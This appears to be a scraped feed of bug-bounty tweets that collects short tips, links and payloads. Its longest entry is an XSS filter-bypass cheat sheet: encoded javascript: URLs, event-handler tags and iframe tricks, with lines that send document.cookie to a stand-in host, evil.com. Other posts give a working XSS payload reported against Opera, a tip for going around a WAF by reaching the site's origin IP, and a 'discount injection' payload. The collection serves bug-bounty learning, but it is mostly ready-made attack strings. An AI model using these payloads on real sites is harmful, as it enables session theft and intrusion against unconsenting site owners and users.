The Bug Bot

I was sitting alone, lost, in a park. @CircleNinja saw me one day, hired me and that's how I am here full time working at your service. 🤖

[Mr_mars_hacker @Mr_mars_hacker]

Authorization bypass due to cache misconfiguration
(For more join on discord : https://t.co/LwySV4IjRJ) #bugbounty #bugbountytips #bugbountytip
https://t.co/w7t02MlsKL
credit:rikeshbaniya

[Nuclei by ProjectDiscovery @pdnuclei]

Detect Sitecore RCE (CVE-2024-46938) with Nuclei 🚀

🔹 Nuclei Template: https://t.co/0ZphvIlDdC by @DhiyaneshDK
🔹 Research: https://t.co/xp5Nf5icVm by @assetnote

#hackwithautomation #Cybersecurity #AppSec #BugBounty

[Gudetama @gudetama_bf]

Nuclei Template : REFLECTION

Potential Cross-Site Scripting (XSS), Cross-Site Request Forgery (CSRF) attacks, Cache Poisoning and Open URL Redirection.

nuclei -t reflection[.]yaml -u target

#bugbountytips #bugbounty

[Securr @Securrtech]

Web App pentesting checklist is here.

[Bug Bounty Insights 🪄 @bbr_bug]

~IDOR

Worked for me 100 times

[Dharshan (JPD) @JPD_1206]

I got a XSS in @opera

Payload: "%27%22()%26%25%3Cyes%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

@Bugcrowd @opera
#Bugbounty #Opera #Bugcrowd #xss

[Anirudh Anand @a0xnirudh]

XSS WAF Bypass, One payload to rule them all, a nice read from @0xEdra 🔥

https://t.co/wtehWXyaDK

[Toshit bharti @Toshusec_]

Benefits of jump over the firewalls :)

Use https://t.co/RYNFJtLS7S for finding hidden domain IPs and and try to open the website in the browser with only IP address (1.11.111.1111.11) this time WAF not restrict the request

#bugcrowd #bugbountytips #BugBounty

[Md Ismail Šojal 🕷️ @0x0SojalSec]

XSS_Bypass_Filters 📓

- https://t.co/S2kbmPHbRV

#infosec #cybersec #bugbountytips

[X @TheMsterDoctor1]

XSS-Bypass-Filters😎

Redirection

document.location=
document['location']=
window.location=
this["window"]["location"]=
document.location.href=
location.href=
location=
window.location.assign()
window['location']['href']=
document.location.replace()
https://t.co/KLSvfuRym1("link", "_blank");

Link

//google.com/?=a
//134744072:1234/?a= (decimal ip)

Cookies

document.cookie
document['cookie']
with(document)alert(cookie)
doc\u0075ment.cookie
doc\u0075ment['cookie']
window["doc"+"ument"]["cookie"]

Concat

fetch("//evil.com/?c="+document.cookie)
fetch("//evil.com/?c=".concat(document.cookie))
fetch("//evil.com/?c=", document.cookie].join())
fetch(`//evil.com/?c=${document.cookie}`)

Href
<!--javascript -->
javascript:alert(1)
JaVaScript:alert(1)
ja&Tab;vascript:alert(1)
java\tscript:alert(1)
ja&NewLine;vascript:alert(1)
ja&#x0000A;vascript:alert(1)
java&#x73;cript:alert()
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;alert('XSS')

# tab (0x9), newline (0xa) and carriage return (0xd) allowed (inside or after the protocol)

ja
vascript:alert(1) # New line

javascript:alert(1) # Tab

# Special Characters before the protocol (Raw or encode)
# \x01-\x20 are allowed - Somes Example :
https://t.co/MRAmvgDPJ3
https://t.co/Q6yYPyc0rT

&#23;javascript:alert('Successful XSS') # ETB HTML
&#x8;javascript:alert(1) # Backspace HTML

# colon
javascript&colon;alert()
javascript&#x0003A;alert()
javascript&#58;alert(1)
javascript&#x3A;alert()

# javascript://
javascript://%0Aalert(1)
javascript://%0Dalert(1)

# target="_blank"
- Scroll Click
- Shift + Click
- Ctrl + Click

# alert
javascript:alert&lpar;&rpar;
javascript:al&#x65;rt``
javascript:alert%60%60
javascript:x='%27-alert(1)-%27';
javascript:%61%6c%65%72%74%28%29

#JS unicode
javascript:a\u006Cert``"
javascript:\u0061\u006C\u0065\u0072\u0074``

HTML ENTITY

Named entities

https://t.co/jJwASEmAbL
' -> &apos;
" -> &quot;
` -> &grave;
` -> &DiacriticalGrave;
( -> &lpar;
) -> &rpar;
{ -> &lcub;
} -> &rcub;
& -> &amp;
< -> &lt;
> -> &gt;
\n -> &NewLine;
\t -> &Tab;
nbsp -> &nbsp;
\ -> &bsol;

Hex entities

[https://t.co/Y1rQdPiDay
' -> &#x27;
" -> &#x22;
` -> &#x60;
( -> &#x28;
{ -> &#x7b;
} -> &#x7d;
& -> &#x26;
< -> &#x3c;
> -> &#x3e;
\n -> &#x0a;
\t -> &#x09;
nbsp -> &#xa0;
\ -> &#x5c;

Numeric entities

https://t.co/V538GvCThl
' -> &#39;
" -> &#34;
` -> &#96;
( -> &#40;
) -> &#41;
{ -> &#123;
} -> &#125;
& -> &#38;
< -> &#60;
> -> &#62;
\n -> &#10;
\t -> &#9;
nbsp -> &#160;
\ -> &#92;

Numeric and Hex you can add as many 0

( -> &#x28; = &#x0000028;
( -> &#40; = &#0000000000040;

Email

test+(<script>alert(0)</script>)@example.com
test@example(<script>alert(0)</script>).com
"<script>alert(0)</script>"@example.com

Iframe

<iframe src="javascript:alert('XSS')"> #use href bypass
<iframe src="https://t.co/9d9DoZD2En.evil.domain/ "> # if youtube is whitelisted for example
<iframe src="https://[email protected]">
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="> # base64 <script>alert(1)</script>

Without closing tag

<img/src/onerror=alert(1)>
<svg/onload=alert(1)>
<object/data=javascript:prompt(1)>
<input/autofocus/onfocus=prompt(1)>
<audio/src/onloadstart=alert(1)>
<svg><animate/onbegin=alert(1)>
<svg><animate/dur='1s'onend=alert(1)>
<svg><set/onbegin=alert(1)>
<svg><set/dur='1ms'onend=alert(1)>
<marquee width=1 loop=1 onfinish=alert(1)>
<details/open/ontoggle=confirm(1)>
<details open ontoggle=confirm(1)>
<details/ontoggle='alert(1)'/open>
<details ontoggle=alert(1) open>

Without dot

<script src=//0x8ac5c30a>

Without parentheses

alert`45`
document.location="javascript:alert%2845%29"
onerror=alert;throw 45

https://t.co/r8yhYrrQGG
<svg/onload='alert&#40 23 &#41'>
location=/javascript:alert%2823%29/.source;

20 Chars MAX:
https://t.co/W05ImeTz2r

Some random payloads
'-alert(1)-'
"-alert(1)-"
);alert(1)//
';alert(1)//
";alert(1)//
"><img/src/onerror=alert(1)>//
'><img/src/onerror=alert(1)>//
#bugbountytip #bugbountytips #xss
👇👇👇👇

[LetsDefend @LetsDefendIO]

How DNS Works?

[Hasan Sheet @hasansheet]

Easy P1 on @Bugcrowd [ public bug bounty program ]
view-source = 2100$
Leaked data of 4k+ employee

[Bipin Jitiya @win3zz]

Password Reset Token Leak

Full Case Study: https://t.co/G2UVWZBjit

[Hac @Hac10101]

Can you spot the vulnerability?
#infosec

[Dzmitry Lukyanenko @vulnano]

like/dislike any youtube video on android
https://t.co/Jrr6lLnDtJ

[The Bug Bot @TheBugBot]

@TheMsterDoctor1 send

[X @TheMsterDoctor1]

Reverse Engineering and exploit development

Download

100% Free For First 1000 User's..

Simply:
1. Follow (So I Will Dm) 📥
2. Like and Repost
3. Comment “ Send ” to receive your copies!! 📚

[Yunus Emre Öztaş @ynsmroztas]

If you see a price discount or percentage discount area, be sure to try this payload (1,alert)(7*7)], it may be triggered as a discount injection or resource injection. You can detect a vulnerability in the client side or server side area.
#bugbountytip #bugbountytips